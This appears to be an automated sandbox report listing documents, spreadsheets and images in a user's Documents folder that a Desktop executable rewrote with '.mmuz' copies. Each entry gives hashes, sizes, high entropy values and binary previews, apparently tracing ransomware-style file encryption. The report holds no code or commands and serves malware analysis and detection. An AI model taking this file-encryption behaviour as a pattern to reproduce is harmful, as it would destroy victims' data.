Encrypted:	false
SSDEEP:	24:Tn1r0VGNCeR0gQfRh2bns6fLjcIA4ddrnR5fTrzJkM4V6botQQSieSkOXkbD:Tn14VYRhcXQbfLjcIAMdrnR5fP4w0tQT
MD5:	E10B89C18D46D53DCA8677786650862B
SHA1:	710386706D39EC029D3FEBE7ABDA325A34219501
SHA-256:	043D05D2C236C3FDE124D5484504C56894337C357C6C75A58EAA4FF2DE213920
SHA-512:	C6E390B4A2DD7F8774441C76E42DD24577F480DC3E5BA7B2016BBD9379E6824981BE9B3EC166BD9EBB2927AC9279F015C62053818808FE300DD467BBAFB6F96F
Malicious:	false
Preview:	GAOBC.e....._O.)..pc....%..p.:...,g......z].VXf:..z....[.!......jY.z^S.&C:.>........,._..')....S.C..)W...j...\.XX..k..U'..)ct.V:}.q........I.....N.g..R.....W....^#..X.F.!\J.4.....]..8....M.i...$..a"..QE5....70({Q..}....\+..&D..A.$`.3...."..>.uW.<....e.p....v.t......4...3.~....qe....Zo.,^ff..#.-..$..RA.Z.Qa8Y..V.c{..-U%.~ # .G.M.J..Q.6d.".I...../.j]....4.......-....4.F.v$.....#x..T..0.U...N....>.Z..R..l.+...OsU3.....\|...Eo...U..oF.I.[..vO9.<D.Ft).Mw..AG..K..v.o...P.k..&I..za..}...?.t..G\|.v....6..Y!&...k.'.a..=..[:0fO.=..h.6..1e.jZ..nU.X..#<;x(....KC.~m........P.~,..."...8l..>J........&...HZ..;y...m........5.W..uz...gul..{-........".sI..Um...?OQ....?e[P.I.<&..g.5.^QZ..7.j.hA..k....}.S.e._\I.D.I.t)m.h..uZRM.L..Ig...dr.:..X.m.)[....5{.8m...B...`p.....&..........."..1E..k\|...1`.M...>$D..?'';.....\|...-8...lfk\V1......E.....b.B..&..!..........$....,._..,.l._K...T..K.y+@.Y.-!i.i.....B....H3.t....U.u$&tAl.).. .aG.D.6i;pY...r..I..ir.........^...

C:\Users\user\Documents\IPKGELNTQY\GAOBCVIQIJ.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840013647701574
Encrypted:	false
SSDEEP:	24:Tn1r0VGNCeR0gQfRh2bns6fLjcIA4ddrnR5fTrzJkM4V6botQQSieSkOXkbD:Tn14VYRhcXQbfLjcIAMdrnR5fP4w0tQT
MD5:	E10B89C18D46D53DCA8677786650862B
SHA1:	710386706D39EC029D3FEBE7ABDA325A34219501
SHA-256:	043D05D2C236C3FDE124D5484504C56894337C357C6C75A58EAA4FF2DE213920
SHA-512:	C6E390B4A2DD7F8774441C76E42DD24577F480DC3E5BA7B2016BBD9379E6824981BE9B3EC166BD9EBB2927AC9279F015C62053818808FE300DD467BBAFB6F96F
Malicious:	false
Preview:	GAOBC.e....._O.)..pc....%..p.:...,g......z].VXf:..z....[.!......jY.z^S.&C:.>........,._..')....S.C..)W...j...\.XX..k..U'..)ct.V:}.q........I.....N.g..R.....W....^#..X.F.!\J.4.....]..8....M.i...$..a"..QE5....70({Q..}....\+..&D..A.$`.3...."..>.uW.<....e.p....v.t......4...3.~....qe....Zo.,^ff..#.-..$..RA.Z.Qa8Y..V.c{..-U%.~ # .G.M.J..Q.6d.".I...../.j]....4.......-....4.F.v$.....#x..T..0.U...N....>.Z..R..l.+...OsU3.....\|...Eo...U..oF.I.[..vO9.<D.Ft).Mw..AG..K..v.o...P.k..&I..za..}...?.t..G\|.v....6..Y!&...k.'.a..=..[:0fO.=..h.6..1e.jZ..nU.X..#<;x(....KC.~m........P.~,..."...8l..>J........&...HZ..;y...m........5.W..uz...gul..{-........".sI..Um...?OQ....?e[P.I.<&..g.5.^QZ..7.j.hA..k....}.S.e._\I.D.I.t)m.h..uZRM.L..Ig...dr.:..X.m.)[....5{.8m...B...`p.....&..........."..1E..k\|...1`.M...>$D..?'';.....\|...-8...lfk\V1......E.....b.B..&..!..........$....,._..,.l._K...T..K.y+@.Y.-!i.i.....B....H3.t....U.u$&tAl.).. .aG.D.6i;pY...r..I..ir.........^...

C:\Users\user\Documents\IPKGELNTQY\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846575442154985
Encrypted:	false
SSDEEP:	24:rzeEHkCnu9Wkc9KfRDcHnlTy22509NStAO7zBH10WwO/POSFRvoF8WW3h2dFUjD/:rzjkCnk9c9KxcHlWV0OtHlV0WV/PpgF6
MD5:	032DEBEC13F24A9C5CA327140B576AC3
SHA1:	1DE548FA3D3E7E6CFE7E17967D804F61662B3BA3
SHA-256:	A7E264405EDF832453CBC3638AD1238CB991D56F5BE7885B375D9C853AC62C6B
SHA-512:	3A5E0B3FCAA635309EDD728BCE848292F2916AB1A62FBF406B57C603AA59F92B4B484B91455649AF6BD6762F6CBFA5C2245DCA094BB73BF55180576C6DD601CC
Malicious:	false
Preview:	IPKGE.]\|......O....E...NH;....+...N......_}.....v.T........:..(..r ..9.........H.....6Vwn...9`0.....v#.1H~k.\T.E..C...../...\|.Y..s..u0...r.%!......^....ye.xa'0.<.jG.Td.#EK...C..F,_.h...P..q>...a...g"R.....#....../`6.dF9.F..J7..`.....i..:...+..[}J.l..>....1Y....7J.E%....GU......T`.t..........,~gF,..}?.tAy.!...\|q....-...3...k..&....1.N.......?<.mXx..G\|P..!..Q.G.Lj.......2.B.qo(PZ...+L.....a...X..Dh.......H.....Z.2.+...%.".^..ho.w...%..w..CWc..a.e..7.....W.Wf}&3..r...?WG.~y....m......a.gi..~tK.....:..a.a.n .J\|.W.q.jo...J.......YX.y.A-2.+J9;H";..9....._c..s.-...4)...X...t..4.yn..\.Avp'.....w...K.s...S..5.C]#`.NV.....j.."...!..j.5.G..l..0......^..RZ..ln..W....<s.A.=:..f..vE!l.!.Z...j._3.`.[...u..%^.:.z.j.+....R..9.^.'...+ .bN...u.`.wl.V...p.d.U.O.......A....oyJ..{...9.e..5'...i.0V.%...P.Nz.A.*..B"%..P(..6..t.c9..D.\|.h....1G.'!/.Q.... .K..]...c.,`.(3+pX...@R..0....K......A..f..a.Z`H.j.u...S...+HxPW......p...{. L...#-...\........E.`.~

C:\Users\user\Documents\IPKGELNTQY\IPKGELNTQY.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846575442154985
Encrypted:	false
SSDEEP:	24:rzeEHkCnu9Wkc9KfRDcHnlTy22509NStAO7zBH10WwO/POSFRvoF8WW3h2dFUjD/:rzjkCnk9c9KxcHlWV0OtHlV0WV/PpgF6
MD5:	032DEBEC13F24A9C5CA327140B576AC3
SHA1:	1DE548FA3D3E7E6CFE7E17967D804F61662B3BA3
SHA-256:	A7E264405EDF832453CBC3638AD1238CB991D56F5BE7885B375D9C853AC62C6B
SHA-512:	3A5E0B3FCAA635309EDD728BCE848292F2916AB1A62FBF406B57C603AA59F92B4B484B91455649AF6BD6762F6CBFA5C2245DCA094BB73BF55180576C6DD601CC
Malicious:	false
Preview:	IPKGE.]\|......O....E...NH;....+...N......_}.....v.T........:..(..r ..9.........H.....6Vwn...9`0.....v#.1H~k.\T.E..C...../...\|.Y..s..u0...r.%!......^....ye.xa'0.<.jG.Td.#EK...C..F,_.h...P..q>...a...g"R.....#....../`6.dF9.F..J7..`.....i..:...+..[}J.l..>....1Y....7J.E%....GU......T`.t..........,~gF,..}?.tAy.!...\|q....-...3...k..&....1.N.......?<.mXx..G\|P..!..Q.G.Lj.......2.B.qo(PZ...+L.....a...X..Dh.......H.....Z.2.+...%.".^..ho.w...%..w..CWc..a.e..7.....W.Wf}&3..r...?WG.~y....m......a.gi..~tK.....:..a.a.n .J\|.W.q.jo...J.......YX.y.A-2.+J9;H";..9....._c..s.-...4)...X...t..4.yn..\.Avp'.....w...K.s...S..5.C]#`.NV.....j.."...!..j.5.G..l..0......^..RZ..ln..W....<s.A.=:..f..vE!l.!.Z...j._3.`.[...u..%^.:.z.j.+....R..9.^.'...+ .bN...u.`.wl.V...p.d.U.O.......A....oyJ..{...9.e..5'...i.0V.%...P.Nz.A.*..B"%..P(..6..t.c9..D.\|.h....1G.'!/.Q.... .K..]...c.,`.(3+pX...@R..0....K......A..f..a.Z`H.j.u...S...+HxPW......p...{. L...#-...\........E.`.~

C:\Users\user\Documents\IPKGELNTQY\LSBIHQFDVT.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826762025830952
Encrypted:	false
SSDEEP:	24:KQxqUYj9j+S5FTlw3rvr4D1IJdIh+3UPsjszZRZlze/zRm8SM1cHWpLkbD:KQxMj+S5/w3r0w7sVRZlC1JSM11YD
MD5:	A5763B17C6929E553A2585A0216428AA
SHA1:	B7D743156B19F5A6A7574F32806B1146A4EB2612
SHA-256:	2530F69AC3B8E2D6A45A4837224380FC4FD875A695A6B4ACB5C5CA72D4BAC94E
SHA-512:	0EC6909A4F2CDAF3E4335ED558DB09BC2EB3349270FF232CE95A33EEF4AFBF7A8A4C7415D60ECB10CE7A29A935B1D23F65069F0C98BCA0FC0E17FD766ABB7204
Malicious:	false
Preview:	LSBIH6..PQ....[mIkP\.....,..(...\|b....\|..#pR\..zu..'.VB+<aPC.C.l....C...o.k.....1.%x.d...#..6.Yw..........E.].....ci^.r9O.aE.H.BG..,1..1......")}..g..q...U\-......u7.......%.Pyqt..v.p...x.........:u/..}..\yd..k[.....Z.1v..\..~r..#.s..`.;.F.#T............d.r.;..2.r&v`.,n..\..)4..c.\F.x..C.."...A5. ...Jz.m.F..r.V.=...3..l..L....~ah..m....a..\|......LD..#...g...4..6.._dB...5.....=.......i'.;..q......D.. .2...O.....V.m+...1...5}..&..o...5..9(,\|........"9\|a/..v.Ke;.z.$..MC...G...+......$...L..e...wi..\|..a...8.9a".....g.\|G..I..d.J.S..\b.P........k.j>...R...cD.X..\|-w.8.J..X.G.....h...^.n......0..n..`..._.mG.F.LF.BP\|P.t..1<p...sx.[ 4.e.!.b.b..0.Se[R..\|"EJ.`....4].'.#....{.s A[.).QL.%.Dt...\|..2l.+.grC....q~?$...`.`..U...B.E.~....Eh.E.... u".....`%~.(.G..=d>=T.tv...[...e...U.^........).s.r....Yx.....'s^.4.t.>0.....ME..9.F>....~..1.BRS..I/.....{.D..@....`.0.>5..u.].1....F.#..Xr......y....{.<]..Fs.I..9.;%G.MR.\..,.!....s.. .....2.P..c.[T<;...[..ri[..

C:\Users\user\Documents\IPKGELNTQY\LSBIHQFDVT.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826762025830952
Encrypted:	false
SSDEEP:	24:KQxqUYj9j+S5FTlw3rvr4D1IJdIh+3UPsjszZRZlze/zRm8SM1cHWpLkbD:KQxMj+S5/w3r0w7sVRZlC1JSM11YD
MD5:	A5763B17C6929E553A2585A0216428AA
SHA1:	B7D743156B19F5A6A7574F32806B1146A4EB2612
SHA-256:	2530F69AC3B8E2D6A45A4837224380FC4FD875A695A6B4ACB5C5CA72D4BAC94E
SHA-512:	0EC6909A4F2CDAF3E4335ED558DB09BC2EB3349270FF232CE95A33EEF4AFBF7A8A4C7415D60ECB10CE7A29A935B1D23F65069F0C98BCA0FC0E17FD766ABB7204
Malicious:	false
Preview:	LSBIH6..PQ....[mIkP\.....,..(...\|b....\|..#pR\..zu..'.VB+<aPC.C.l....C...o.k.....1.%x.d...#..6.Yw..........E.].....ci^.r9O.aE.H.BG..,1..1......")}..g..q...U\-......u7.......%.Pyqt..v.p...x.........:u/..}..\yd..k[.....Z.1v..\..~r..#.s..`.;.F.#T............d.r.;..2.r&v`.,n..\..)4..c.\F.x..C.."...A5. ...Jz.m.F..r.V.=...3..l..L....~ah..m....a..\|......LD..#...g...4..6.._dB...5.....=.......i'.;..q......D.. .2...O.....V.m+...1...5}..&..o...5..9(,\|........"9\|a/..v.Ke;.z.$..MC...G...+......$...L..e...wi..\|..a...8.9a".....g.\|G..I..d.J.S..\b.P........k.j>...R...cD.X..\|-w.8.J..X.G.....h...^.n......0..n..`..._.mG.F.LF.BP\|P.t..1<p...sx.[ 4.e.!.b.b..0.Se[R..\|"EJ.`....4].'.#....{.s A[.).QL.%.Dt...\|..2l.+.grC....q~?$...`.`..U...B.E.~....Eh.E.... u".....`%~.(.G..=d>=T.tv...[...e...U.^........).s.r....Yx.....'s^.4.t.>0.....ME..9.F>....~..1.BRS..I/.....{.D..@....`.0.>5..u.].1....F.#..Xr......y....{.<]..Fs.I..9.;%G.MR.\..,.!....s.. .....2.P..c.[T<;...[..ri[..

C:\Users\user\Documents\IPKGELNTQY\QCFWYSKMHA.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835047066112173
Encrypted:	false
SSDEEP:	24:IB1MYVVlJXyI14NYwPnDrywrnq4c1bYK6th1C8tsTkukwV4o3ECcgAjK7FsYE91d:01MYVVlAIyBDrPDdc76bI0fukwhUCnH+
MD5:	0979AAE3F1841EDA284B785DE6AD957E
SHA1:	22E5914F2C938E4EF2973D3D3BBE0980E7FD4ADC
SHA-256:	18DC15A1C150514EA7DE5BABFA458E5589BDD847F85EF28EB112BFDC1FA226B0
SHA-512:	D3A6DA5809106625D93171AC70C211E3164AA8844F192804BD0F004A15548B0EB78FE39D4BC5A740C54D96B64C68D7DC05EFEA3CC9A6D2DF20942A52595E6C99
Malicious:	false
Preview:	QCFWYW..r.&.....D.}eY{n.h.....).t.s...<nm...}.r.:i.6<`...`.!.[..9..W..X...6.4{\.....{.. A[+.?......}..u.E7"....$t.....,.......o{^..e.\..._Q.n.N.+...........6.l...&.B....a.....`.....~.....l,....qBcC..5..Tw.....p..9.F..xs.....8+N.#..5.....SK..KCK.H......A..7a.wH!..9..d.'w.N.}..............C...y....#...E.`..YK.i..0..+....H"...n.?....Ku_.......;Ek...\|..Ku...G..%w.rP.s.im..=.....6.l9pIvX/.[..MYm...h.p....$r...'w.!...a.D......A>.....th:...0..K.D7&..I..wt.-..)...G.+4..p!.....w.\|..\|j.O.H:.(./"k<..=..X5..'9.X.Pg....n-VY..E.).g..#.A3.!"3$N..y.VK.....I...w9.k..O....6\n;.e..=.jX.'....S5.r.{.,.....-......C.....t=.{......n.8!..`0.....%.g..i.......=D...6..#..jC.(.W...-0.44..s.`...aU%.....$.h.a].,.....I.........K....2...d...g...?....xT.......{...P..HO..b..Or*.-.....L.....m)I...p.....d..Wx.P..e.....R@M.]..v....$.A.p8..R.H.+wB.._=.F..........!..BGY....%WU].kI......%[.q7......F+......P......H.n.3...emm...Z)..0...D...T.J."-....I...,4.3..b}.z.T.%<5.\|

C:\Users\user\Documents\IPKGELNTQY\QCFWYSKMHA.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835047066112173
Encrypted:	false
SSDEEP:	24:IB1MYVVlJXyI14NYwPnDrywrnq4c1bYK6th1C8tsTkukwV4o3ECcgAjK7FsYE91d:01MYVVlAIyBDrPDdc76bI0fukwhUCnH+
MD5:	0979AAE3F1841EDA284B785DE6AD957E
SHA1:	22E5914F2C938E4EF2973D3D3BBE0980E7FD4ADC
SHA-256:	18DC15A1C150514EA7DE5BABFA458E5589BDD847F85EF28EB112BFDC1FA226B0
SHA-512:	D3A6DA5809106625D93171AC70C211E3164AA8844F192804BD0F004A15548B0EB78FE39D4BC5A740C54D96B64C68D7DC05EFEA3CC9A6D2DF20942A52595E6C99
Malicious:	false
Preview:	QCFWYW..r.&.....D.}eY{n.h.....).t.s...<nm...}.r.:i.6<`...`.!.[..9..W..X...6.4{\.....{.. A[+.?......}..u.E7"....$t.....,.......o{^..e.\..._Q.n.N.+...........6.l...&.B....a.....`.....~.....l,....qBcC..5..Tw.....p..9.F..xs.....8+N.#..5.....SK..KCK.H......A..7a.wH!..9..d.'w.N.}..............C...y....#...E.`..YK.i..0..+....H"...n.?....Ku_.......;Ek...\|..Ku...G..%w.rP.s.im..=.....6.l9pIvX/.[..MYm...h.p....$r...'w.!...a.D......A>.....th:...0..K.D7&..I..wt.-..)...G.+4..p!.....w.\|..\|j.O.H:.(./"k<..=..X5..'9.X.Pg....n-VY..E.).g..#.A3.!"3$N..y.VK.....I...w9.k..O....6\n;.e..=.jX.'....S5.r.{.,.....-......C.....t=.{......n.8!..`0.....%.g..i.......=D...6..#..jC.(.W...-0.44..s.`...aU%.....$.h.a].,.....I.........K....2...d...g...?....xT.......{...P..HO..b..Or*.-.....L.....m)I...p.....d..Wx.P..e.....R@M.]..v....$.A.p8..R.H.+wB.._=.F..........!..BGY....%WU].kI......%[.q7......F+......P......H.n.3...emm...Z)..0...D...T.J."-....I...,4.3..b}.z.T.%<5.\|

C:\Users\user\Documents\IPKGELNTQY\SUAVTZKNFL.png

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83862328483711
Encrypted:	false
SSDEEP:	24:Hf/FBdoqi4ORXYTxG+sDIUjqzaw7CIleVIu/d1DfWd7WDRN9jgkbD://FToq16+MUU+vFIIu/+dmp9D
MD5:	F36A0402DEEE15FE68732B2E23DD6999
SHA1:	041FE4B217AA3C923147845887C11D671F5822F9
SHA-256:	4D09A13AFC24178C008DAC70D12E0D81A0E5C5DF045BD4C45A28F65157C194B0
SHA-512:	3524E0AE60C144AAD2E60AC9F32E1AF2CAA327BEE67B6BA7CABEAFE032242694BFF19BF7BB4665EE3B1E614A63EE6C7E5F48A4FF3DE7FEB950D0DE1B22CA2CB5
Malicious:	false
Preview:	SUAVT}...b....n....^.?..E..sk.o......}$q..a..4........Y.$..Q....Jz..........YW..b...ma../....60.6...v%[.......z...#)...L.K.= 5B.Y.e....x.[W.NT.....oc..c\|c%q.'..B.H4M.6"u..X.m9..'A..$G?..H..X_.X..l.4.......OB...o....9..Q.l-7p.e)....U..-T...j.c..(.a..........2.Pi.Z..J......i...iM/............t..\|..G.K-........JK.......f:......&0...2c.p....i`z....T..)C._..K.3Ft#.....y.0C9.a^df..\.B.m..6nL%b.3x^.\..N.ayEOj...U....q...~_.....N...45."..JP.......w.....Tk..m.o...C...>...JT.2W=..,. .Wv.y..:....>..R...W8.dY....".e....d.bIS-t.....i.....!.$...I...'..j...?......6R2.l..Y..+k...@.w.....J?.c.;....4.iZv..Y...M..WV......?....>.(..8TXl...[fbt.l~B..L...7.Q.<..}.....E...R.9......<....s.K..iefg..q..../.".E....9] ......!.Z.s...Y.;...N.\|...W..d}.8......C-(...?..q.....Nm..-0.+.`...y<..7h--...b.%..=..&.*Z.R.T...u.y.......73<^YT.....K....w%...[.cW..-<d.\|^.K...+]..D..C..,...J7p$.{...`.z{...,...T...>^...S..A/..t....pk.z..].z....x.g(<...^..I?3...$.+....Y.

C:\Users\user\Documents\IPKGELNTQY\SUAVTZKNFL.png.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83862328483711
Encrypted:	false
SSDEEP:	24:Hf/FBdoqi4ORXYTxG+sDIUjqzaw7CIleVIu/d1DfWd7WDRN9jgkbD://FToq16+MUU+vFIIu/+dmp9D
MD5:	F36A0402DEEE15FE68732B2E23DD6999
SHA1:	041FE4B217AA3C923147845887C11D671F5822F9
SHA-256:	4D09A13AFC24178C008DAC70D12E0D81A0E5C5DF045BD4C45A28F65157C194B0
SHA-512:	3524E0AE60C144AAD2E60AC9F32E1AF2CAA327BEE67B6BA7CABEAFE032242694BFF19BF7BB4665EE3B1E614A63EE6C7E5F48A4FF3DE7FEB950D0DE1B22CA2CB5
Malicious:	false
Preview:	SUAVT}...b....n....^.?..E..sk.o......}$q..a..4........Y.$..Q....Jz..........YW..b...ma../....60.6...v%[.......z...#)...L.K.= 5B.Y.e....x.[W.NT.....oc..c\|c%q.'..B.H4M.6"u..X.m9..'A..$G?..H..X_.X..l.4.......OB...o....9..Q.l-7p.e)....U..-T...j.c..(.a..........2.Pi.Z..J......i...iM/............t..\|..G.K-........JK.......f:......&0...2c.p....i`z....T..)C._..K.3Ft#.....y.0C9.a^df..\.B.m..6nL%b.3x^.\..N.ayEOj...U....q...~_.....N...45."..JP.......w.....Tk..m.o...C...>...JT.2W=..,. .Wv.y..:....>..R...W8.dY....".e....d.bIS-t.....i.....!.$...I...'..j...?......6R2.l..Y..+k...@.w.....J?.c.;....4.iZv..Y...M..WV......?....>.(..8TXl...[fbt.l~B..L...7.Q.<..}.....E...R.9......<....s.K..iefg..q..../.".E....9] ......!.Z.s...Y.;...N.\|...W..d}.8......C-(...?..q.....Nm..-0.+.`...y<..7h--...b.%..=..&.*Z.R.T...u.y.......73<^YT.....K....w%...[.cW..-<d.\|^.K...+]..D..C..,...J7p$.{...`.z{...,...T...>^...S..A/..t....pk.z..].z....x.g(<...^..I?3...$.+....Y.

C:\Users\user\Documents\LSBIHQFDVT.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861066824944573
Encrypted:	false
SSDEEP:	24:KDF9NM9L74IWtBZLzgASVLhvpwXbBJAO5RJD8+9jMsUh6HkbD:KDF9NMZHAjzncBKXzAO5R5Zw1TD
MD5:	D1B1A2DAFFFB64625A1AB4E572DA4795
SHA1:	FC764E4B69A69E5A25389FDF7BA201450FBDCDD3
SHA-256:	4DC9AD16FAAB203954A2E1CC69516D0BE23110F57A5499726442ECA7E6318536
SHA-512:	17CB9C40E7BCD7674B1BB3592045A639F77A28AD32B007888186327F9A8010B1B810371ED94148FC2D1D92EE054134A4805320F1DB9EC6A7DF60C57A83F25555
Malicious:	false
Preview:	LSBIH.V!.0........'..}p..T[ ."%@........}._.9\..>..?.....z6q..L...=..0..0..S.K.-...g.......(.c...9...H..Mcm.Y....(<K.N......U7...@-...V.(..-i..+{.R.g.W..L&..L..:...~....wEs...h+........../4..F."...TKU;.E...,..^.y.)QTT.J.....cB.X.l..._:f(u)...O.2..Q...k...T..8B.pzx.R#d.N[U.........N.._.II..`m.....KP...&.%9..'..0...NOn.....G.....8&k.....{.p.......b..d..b.....g..Z.....^K..V.v\T.R...i..;&^.nD..."g=.T>.y....L.h7......l....1R...qp...$..h#....w4.........%5[........N....i6J.~...wP...P.......S8.;....+....%^.G_E_.U".....]..:Yt...}......E.$.7..zOz..JI.i...O@..Y..fXt...b.S...%......@M.....AJ......n..8`. ....i..`k..+..z..v.....CF..X....w.'c.^g..R.. ...j.....iQX<.P....F.....~.."..N..X.K..l.V...X}......R........q.I.5i...i.w.....{..."..0........k.0...R...vY.6....7-..q...K.......G....5..F....<..P.u..;..r7..j./...6j...?E.4..*x......u.o7...Av...3..(v.w!...+-...A.#...K.s'2XB.S&FB...1X...P..?i.',..?.}<..B....d..g..\..V...f..C.................-...P.JW

C:\Users\user\Documents\LSBIHQFDVT.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861066824944573
Encrypted:	false
SSDEEP:	24:KDF9NM9L74IWtBZLzgASVLhvpwXbBJAO5RJD8+9jMsUh6HkbD:KDF9NMZHAjzncBKXzAO5R5Zw1TD
MD5:	D1B1A2DAFFFB64625A1AB4E572DA4795
SHA1:	FC764E4B69A69E5A25389FDF7BA201450FBDCDD3
SHA-256:	4DC9AD16FAAB203954A2E1CC69516D0BE23110F57A5499726442ECA7E6318536
SHA-512:	17CB9C40E7BCD7674B1BB3592045A639F77A28AD32B007888186327F9A8010B1B810371ED94148FC2D1D92EE054134A4805320F1DB9EC6A7DF60C57A83F25555
Malicious:	false
Preview:	LSBIH.V!.0........'..}p..T[ ."%@........}._.9\..>..?.....z6q..L...=..0..0..S.K.-...g.......(.c...9...H..Mcm.Y....(<K.N......U7...@-...V.(..-i..+{.R.g.W..L&..L..:...~....wEs...h+........../4..F."...TKU;.E...,..^.y.)QTT.J.....cB.X.l..._:f(u)...O.2..Q...k...T..8B.pzx.R#d.N[U.........N.._.II..`m.....KP...&.%9..'..0...NOn.....G.....8&k.....{.p.......b..d..b.....g..Z.....^K..V.v\T.R...i..;&^.nD..."g=.T>.y....L.h7......l....1R...qp...$..h#....w4.........%5[........N....i6J.~...wP...P.......S8.;....+....%^.G_E_.U".....]..:Yt...}......E.$.7..zOz..JI.i...O@..Y..fXt...b.S...%......@M.....AJ......n..8`. ....i..`k..+..z..v.....CF..X....w.'c.^g..R.. ...j.....iQX<.P....F.....~.."..N..X.K..l.V...X}......R........q.I.5i...i.w.....{..."..0........k.0...R...vY.6....7-..q...K.......G....5..F....<..P.u..;..r7..j./...6j...?E.4..*x......u.o7...Av...3..(v.w!...+-...A.#...K.s'2XB.S&FB...1X...P..?i.',..?.}<..B....d..g..\..V...f..C.................-...P.JW

C:\Users\user\Documents\LSBIHQFDVT.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862127298519195
Encrypted:	false
SSDEEP:	24:Kd14mgFHV9oU4rtdPzym2NDHAVEB75Gn1WZVdQfvac50MNvBErFZ6t22kttYCNwB:Kd1rgFHvl4rb92Nrx+8LEa80MNZg6tnJ
MD5:	772AE5AB5D9A85DE986ED796E0DB4535
SHA1:	B479FA1A16FDDF01E7B808F8DA75583C74D37F54
SHA-256:	AE717D8EEAAEDFFBBC76D9529CE59150A1FBEC8C03DB170DD6656A5F1B5AB9D6
SHA-512:	B3F02D3B9CA2EB798A5B09BE1942964A0ED13A0176FDAA9F5BF6982C002A1329DFAB170E5C3D7DF3ADC6335AB6716D7BF5134F372F9066307581C850CD28ECC0
Malicious:	false
Preview:	LSBIH....@.......\.8.}..i'..2.X<.m...Y.e.G'.[.S.....\|(....Ci]:.......T...W.....#..;.....p.+{..Z.GU.a.N..&{....Px.......s.cHEhl.&.K&O...#.+.9..s.A.._.../.j...`......z94..71..J....}6..X.1.1.G.S.[...W0..z.K...i6..........?K4.J........$.f..~........... .5Nv0.L5....e].iV...TYs.N.......b#0.....z.gQ..c?g.z.....H,.@f..7......^.o1,....{}._o.V.x2.{.&.N&l.......;m;.,3.T...^...GC./.]?t&..k...D.W.h.%.../)..0.\....._j.H...........1...............Bs ...&?...W..8.....k...ym..g'..H%=.PW[^....a..7..C?\..lq.c..i.....+....<..H...~#......5P.+A.#;7].}....P.El.....q%.3}...~....E)..A....B.o.=.W.....Y........aQiD...0'L .....$.<v]...m....DH..9. M&....=F.bH....:U....y........p......fH._\.6....C..'Y....Dw........M)..N.i.._e..U.[0z.y;...l/.'.<....s..HV.\...R0.....?.........c...M.J.dN\|..b.h.>,.+V....Bkh....V.7.k..v.5^....l.>.O.A.6..f.S..C0..C.h.acw.f.m..@.k...p..j.*..-C..g.a.V..4..#u`..X..31..xJI{../.../$...CM@(...G..!5..CT..,Fxa4.....s/..q..[..Z.NBL..`..K

C:\Users\user\Documents\LSBIHQFDVT.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862127298519195
Encrypted:	false
SSDEEP:	24:Kd14mgFHV9oU4rtdPzym2NDHAVEB75Gn1WZVdQfvac50MNvBErFZ6t22kttYCNwB:Kd1rgFHvl4rb92Nrx+8LEa80MNZg6tnJ
MD5:	772AE5AB5D9A85DE986ED796E0DB4535
SHA1:	B479FA1A16FDDF01E7B808F8DA75583C74D37F54
SHA-256:	AE717D8EEAAEDFFBBC76D9529CE59150A1FBEC8C03DB170DD6656A5F1B5AB9D6
SHA-512:	B3F02D3B9CA2EB798A5B09BE1942964A0ED13A0176FDAA9F5BF6982C002A1329DFAB170E5C3D7DF3ADC6335AB6716D7BF5134F372F9066307581C850CD28ECC0
Malicious:	false
